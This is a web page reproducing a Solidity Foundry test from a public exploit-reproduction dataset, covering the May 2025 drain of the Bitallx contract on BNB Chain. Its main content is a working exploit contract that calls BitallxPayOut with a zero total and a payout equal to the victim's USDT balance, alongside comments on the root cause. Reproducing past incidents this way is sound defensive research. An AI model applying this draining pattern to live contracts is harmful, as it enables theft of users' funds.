Public reproduction file
src/test/2025-05/bitallx_exp.sol
Public reproduction file for dataset entry Bitallx.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 2,029.47 USDT8// Attacker : 0xF499F7a82De632CFd194025A51C88d1b44C8155e9// Attack Contract : 0x81e631FaC80CdaC59b1A5BBC5667AaaCB238965F10// Vulnerable Contract : 0xa5f3728767F834C591eE99C8C5854b752F39C38511// Attack Tx : https://bscscan.com/tx/0x1fe893e4d8370a8d6da590b32f66bd032217bac2e56bd2bf0de2a9df9c7117dd12//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xa5f3728767F834C591eE99C8C5854b752F39C385#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/106518//19// Attack summary: The attacker called BitallxPayOut with totalSendAmount = 0 but supplied a payout20// amount equal to the victim contract's USDT balance, so the function transferred existing victim21// funds to the attack contract.22// Root cause: BitallxPayOut checks allowance and balance against totalSendAmount but never checks23// that sum(amount[]) is bounded by totalSendAmount.25address constant ATTACKER = 0xF499F7a82De632CFd194025A51C88d1b44C8155e;26address constant TRACE_ATTACK_CONTRACT = 0x81e631FaC80CdaC59b1A5BBC5667AaaCB238965F;27address constant BITALLX_SC = 0xa5f3728767F834C591eE99C8C5854b752F39C385;28address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;30interface IBitallxSC {31 function BitallxPayOut(32 address tokencontract,33 address[] calldata wallet,34 uint256[] calldata amount,35 uint256 totalSendAmount36 ) external;37}39interface IBitallxToken {40 function balanceOf(41 address account42 ) external view returns (uint256);43 function transfer(44 address recipient,45 uint256 amount46 ) external returns (bool);47}49contract ContractTest is BaseTestWithBalanceLog {50 address private profitReceiver;52 function setUp() public {53 vm.createSelectFork("bsc", 49_758_338);55 profitReceiver = makeAddr("profitReceiver");56 fundingToken = USDT_TOKEN;57 attacker = profitReceiver;59 vm.label(ATTACKER, "Attacker EOA");60 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");61 vm.label(BITALLX_SC, "BitallxSC");62 vm.label(USDT_TOKEN, "USDT");63 }65 function testExploit() public balanceLog {66 uint256 victimBalance = IBitallxToken(USDT_TOKEN).balanceOf(BITALLX_SC);67 assertEq(victimBalance, 2_029_473_999_999_999_986_000);69 new BitallxPayOutAttack(profitReceiver);71 assertEq(IBitallxToken(USDT_TOKEN).balanceOf(profitReceiver), victimBalance);72 assertEq(IBitallxToken(USDT_TOKEN).balanceOf(BITALLX_SC), 0);73 }74}76contract BitallxPayOutAttack {77 constructor(78 address profitReceiver79 ) {80 IBitallxToken usdt = IBitallxToken(USDT_TOKEN);81 uint256 victimBalance = usdt.balanceOf(BITALLX_SC);83 address[] memory wallets = new address[](1);84 wallets[0] = address(this);86 uint256[] memory amounts = new uint256[](1);87 amounts[0] = victimBalance;89 IBitallxSC(BITALLX_SC).BitallxPayOut(USDT_TOKEN, wallets, amounts, 0);91 require(usdt.transfer(profitReceiver, usdt.balanceOf(address(this))), "profit transfer failed");92 }93}Analysis
Dataset entry
Public Foundry test for “Bitallx” (2025-05-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-05/BetaPresale_exp.solSame month in the dataset · 212 lines
- src/test/2025-05/Corkprotocol_exp.solSame month in the dataset · 291 lines
- src/test/2025-05/crosswise_exp.solSame month in the dataset · 178 lines
- src/test/2025-05/DogeAlliance_exp.solSame month in the dataset · 173 lines
- src/test/2025-05/Dumbo_exp.solSame month in the dataset · 214 lines
- src/test/2025-05/IRYSAI_exp.solSame month in the dataset · 104 lines
- src/test/2025-05/KRCToken_pair_exp.solSame month in the dataset · 120 lines
- src/test/2025-05/MBUToken_exp.solSame month in the dataset · 73 lines
- src/test/2025-05/Nalakuvara_LotteryTicket50_exp.solSame month in the dataset · 102 lines
- src/test/2025-05/RICE_exp.solSame month in the dataset · 142 lines
- src/test/2025-05/unverified_0000_exp.solSame month in the dataset · 99 lines
- src/test/2025-05/unverified_91a1_exp.solSame month in the dataset · 76 lines
- src/test/2025-05/Unwarp_exp.solSame month in the dataset · 55 lines
- src/test/2025-05/UsualMoney_exp.solSame month in the dataset · 227 lines
- src/test/2025-05/YDTtoken_exp.solSame month in the dataset · 52 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xf499f7a82de632cfd194025a51c88d1b44c8155e
- Attack Contract
0x81e631fac80cdac59b1a5bbc5667aaacb238965f
- Vulnerable Contract
0xa5f3728767f834c591ee99c8c5854b752f39c385
- Attack Tx
0x1fe893e4d8370a8d6da590b32f66bd032217bac2e56bd2bf0de2a9df9c7117dd
File record
- Name
- Bitallx
- Path
- src/test/2025-05/bitallx_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 74918948bf47cce16ac8d780cd3161335295a5d1
- Language
- Solidity
- Size
- 94 lines
- Date
- 2025-05-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-05/bitallx_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 74918948bf47cce16ac8d780cd3161335295a5d1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.